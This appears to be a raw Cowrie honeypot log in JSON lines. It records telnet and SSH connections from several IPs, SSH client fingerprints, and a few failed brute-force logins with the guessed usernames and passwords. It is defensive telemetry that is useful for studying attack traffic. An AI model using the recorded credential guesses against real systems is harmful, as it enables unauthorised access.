{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d563ea95ca","protocol":"telnet","message":"New connection: 62.210.97.77:58264 (10.17.0.5:23) [session: 89d563ea95ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:18:57.146127Z"}
{"eventid":"cowrie.session.closed","duration":2.013173818588257,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:18:57.471911Z","src_ip":"65.60.27.33","session":"eda70583efe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60792,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be0124e0816","protocol":"telnet","message":"New connection: 65.60.27.33:60792 (10.17.0.5:23) [session: 4be0124e0816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:00.454963Z"}
{"eventid":"cowrie.session.closed","duration":35.463130235672,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:02.123234Z","src_ip":"62.210.97.77","session":"0bc61fefed88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.6646249294281,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:02.579624Z","src_ip":"62.210.97.77","session":"5229700ac542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.44013786315918,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:06.505614Z","src_ip":"38.54.119.93","session":"5da2271c8ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33364,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c091bcdf0c","protocol":"telnet","message":"New connection: 165.232.131.181:33364 (10.17.0.5:23) [session: 29c091bcdf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:06.765385Z"}
{"eventid":"cowrie.session.closed","duration":39.84212589263916,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:07.234473Z","src_ip":"62.210.97.77","session":"58540f481d29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb1816a0c7a7","protocol":"telnet","message":"New connection: 165.232.131.181:33814 (10.17.0.5:23) [session: bb1816a0c7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:07.812702Z"}
{"eventid":"cowrie.session.closed","duration":50.935842514038086,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:09.254040Z","src_ip":"65.60.27.33","session":"79958adbf8fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.471223592758179,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:12.236487Z","src_ip":"165.232.131.181","session":"29c091bcdf0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05268883705139,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:12.768183Z","src_ip":"62.210.97.77","session":"4abf0d90c6dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.115262031555176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:14.748789Z","src_ip":"62.210.97.77","session":"f94afa77766d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59290,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fa2785c09d","protocol":"telnet","message":"New connection: 62.210.97.77:59290 (10.17.0.5:23) [session: 71fa2785c09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:15.878464Z"}
{"eventid":"cowrie.session.closed","duration":56.02600884437561,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:16.946684Z","src_ip":"165.232.131.181","session":"8a77485cb8ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.7826771736145,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:21.076548Z","src_ip":"165.232.131.181","session":"eae17f8f8a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.72338533401489,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:21.917464Z","src_ip":"65.60.27.33","session":"0714d3a83b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55952,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb9dbbcd556","protocol":"telnet","message":"New connection: 62.210.97.77:55952 (10.17.0.5:23) [session: 8eb9dbbcd556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:23.505822Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55958,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea03e4fa22f9","protocol":"telnet","message":"New connection: 62.210.97.77:55958 (10.17.0.5:23) [session: ea03e4fa22f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:24.090580Z"}
{"eventid":"cowrie.session.closed","duration":52.56965088844299,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:25.750390Z","src_ip":"165.232.131.181","session":"730b7d1d02f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47823452949524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:28.624259Z","src_ip":"62.210.97.77","session":"89d563ea95ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42370,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a4ebf6fc8a","protocol":"telnet","message":"New connection: 165.232.131.181:42370 (10.17.0.5:23) [session: f5a4ebf6fc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:28.908436Z"}
{"eventid":"cowrie.session.closed","duration":40.16280913352966,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:28.933293Z","src_ip":"65.60.27.33","session":"8467c2c6aaff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41948,"dst_ip":"10.17.0.5","dst_port":23,"session":"815822b2a589","protocol":"telnet","message":"New connection: 65.60.27.33:41948 (10.17.0.5:23) [session: 815822b2a589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:32.882143Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37186,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34d1f8e9693","protocol":"telnet","message":"New connection: 62.210.97.77:37186 (10.17.0.5:23) [session: f34d1f8e9693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:34.713991Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e76d228900f0","protocol":"telnet","message":"New connection: 62.210.97.77:37196 (10.17.0.5:23) [session: e76d228900f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:36.677761Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a225491627c5","protocol":"telnet","message":"New connection: 62.210.97.77:49630 (10.17.0.5:23) [session: a225491627c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:41.581357Z"}
{"eventid":"cowrie.session.closed","duration":48.51144003868103,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:43.910488Z","src_ip":"38.54.119.93","session":"8794c027985f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bdfb3895a2","protocol":"telnet","message":"New connection: 165.232.131.181:49184 (10.17.0.5:23) [session: 08bdfb3895a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:47.163955Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60356,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a6dbc51a36","protocol":"telnet","message":"New connection: 65.60.27.33:60356 (10.17.0.5:23) [session: 36a6dbc51a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:48.679714Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47974,"dst_ip":"10.17.0.5","dst_port":23,"session":"82620ac4c41d","protocol":"telnet","message":"New connection: 62.210.97.77:47974 (10.17.0.5:23) [session: 82620ac4c41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:48.839985Z"}
{"eventid":"cowrie.session.closed","duration":42.15488576889038,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:49.967501Z","src_ip":"165.232.131.181","session":"bb1816a0c7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47980,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e011ed940fe","protocol":"telnet","message":"New connection: 62.210.97.77:47980 (10.17.0.5:23) [session: 7e011ed940fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:50.919332Z"}
{"eventid":"cowrie.session.closed","duration":37.48590159416199,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:53.364227Z","src_ip":"62.210.97.77","session":"71fa2785c09d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65863823890686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:54.164251Z","src_ip":"62.210.97.77","session":"8eb9dbbcd556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.53891086578369,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:56.993751Z","src_ip":"65.60.27.33","session":"4be0124e0816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"951ec7d9c515","protocol":"telnet","message":"New connection: 165.232.131.181:52612 (10.17.0.5:23) [session: 951ec7d9c515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:57.707273Z"}
{"eventid":"cowrie.session.closed","duration":34.477261781692505,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:19:58.567760Z","src_ip":"62.210.97.77","session":"ea03e4fa22f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":41630,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e95a8a64dbd","protocol":"ssh","message":"New connection: 187.16.96.250:41630 (10.17.0.5:22) [session: 8e95a8a64dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:00.060606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:00.071722Z","src_ip":"187.16.96.250","session":"8e95a8a64dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:00.188727Z","src_ip":"187.16.96.250","session":"8e95a8a64dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"password123","message":"login attempt [mcserver/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:00.695106Z","src_ip":"187.16.96.250","session":"8e95a8a64dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46870,"dst_ip":"10.17.0.5","dst_port":23,"session":"052fdbaae469","protocol":"telnet","message":"New connection: 65.60.27.33:46870 (10.17.0.5:23) [session: 052fdbaae469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:00.821006Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4a6244c2e54","protocol":"telnet","message":"New connection: 38.54.119.93:38788 (10.17.0.5:23) [session: a4a6244c2e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:01.493186Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:01.814355Z","src_ip":"187.16.96.250","session":"8e95a8a64dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49302,"dst_ip":"10.17.0.5","dst_port":23,"session":"8351bc72b662","protocol":"telnet","message":"New connection: 65.60.27.33:49302 (10.17.0.5:23) [session: 8351bc72b662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:02.888065Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51070,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f54593ed11b","protocol":"telnet","message":"New connection: 65.60.27.33:51070 (10.17.0.5:23) [session: 0f54593ed11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:04.731056Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51474,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcf1e98da41","protocol":"telnet","message":"New connection: 62.210.97.77:51474 (10.17.0.5:23) [session: 9bcf1e98da41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:05.178451Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51486,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b57c563541c","protocol":"telnet","message":"New connection: 62.210.97.77:51486 (10.17.0.5:23) [session: 1b57c563541c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:06.313458Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53864,"dst_ip":"10.17.0.5","dst_port":23,"session":"62de2a0f7960","protocol":"telnet","message":"New connection: 65.60.27.33:53864 (10.17.0.5:23) [session: 62de2a0f7960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:07.054439Z"}
{"eventid":"cowrie.session.closed","duration":33.76192092895508,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:10.439499Z","src_ip":"62.210.97.77","session":"e76d228900f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.055976152420044,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:10.769810Z","src_ip":"62.210.97.77","session":"f34d1f8e9693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.200067520141602,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:10.930991Z","src_ip":"65.60.27.33","session":"0f54593ed11b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.030736684799194,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:12.939050Z","src_ip":"165.232.131.181","session":"f5a4ebf6fc8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47592,"dst_ip":"10.17.0.5","dst_port":23,"session":"56202f0c6f5d","protocol":"telnet","message":"New connection: 38.54.119.93:47592 (10.17.0.5:23) [session: 56202f0c6f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:14.766285Z"}
{"eventid":"cowrie.session.closed","duration":33.25239634513855,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:14.833581Z","src_ip":"62.210.97.77","session":"a225491627c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fa8fc51028a","protocol":"telnet","message":"New connection: 165.232.131.181:33072 (10.17.0.5:23) [session: 9fa8fc51028a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:16.578174Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"194c230ea9ce","protocol":"telnet","message":"New connection: 62.210.97.77:43392 (10.17.0.5:23) [session: 194c230ea9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:17.216847Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b59873fd6f","protocol":"telnet","message":"New connection: 65.60.27.33:38984 (10.17.0.5:23) [session: f9b59873fd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:18.875461Z"}
{"eventid":"cowrie.session.closed","duration":6.816440105438232,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:21.582590Z","src_ip":"38.54.119.93","session":"56202f0c6f5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81325817108154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:22.653151Z","src_ip":"62.210.97.77","session":"82620ac4c41d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.886789083480835,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:22.768836Z","src_ip":"65.60.27.33","session":"815822b2a589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc9eabf43d1c","protocol":"telnet","message":"New connection: 62.210.97.77:59928 (10.17.0.5:23) [session: dc9eabf43d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:23.411853Z"}
{"eventid":"cowrie.session.closed","duration":33.719436168670654,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:24.638614Z","src_ip":"62.210.97.77","session":"7e011ed940fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.41759634017944,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:26.097195Z","src_ip":"65.60.27.33","session":"36a6dbc51a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51972,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27b26184f49","protocol":"telnet","message":"New connection: 65.60.27.33:51972 (10.17.0.5:23) [session: b27b26184f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:29.828910Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":41788,"dst_ip":"159.203.135.109","dst_port":22,"session":"80d32899a220","protocol":"ssh","message":"New connection: 89.218.69.66:41788 (159.203.135.109:22) [session: 80d32899a220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:31.569775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:31.577584Z","src_ip":"89.218.69.66","session":"80d32899a220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:31.753518Z","src_ip":"89.218.69.66","session":"80d32899a220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.60275435447693,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:31.766621Z","src_ip":"165.232.131.181","session":"08bdfb3895a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"@dm1n@123","message":"login attempt [test/@dm1n@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:32.481018Z","src_ip":"89.218.69.66","session":"80d32899a220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:33.658829Z","src_ip":"89.218.69.66","session":"80d32899a220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57578,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad69e232d6bd","protocol":"telnet","message":"New connection: 65.60.27.33:57578 (10.17.0.5:23) [session: ad69e232d6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:20:34.612456Z"}
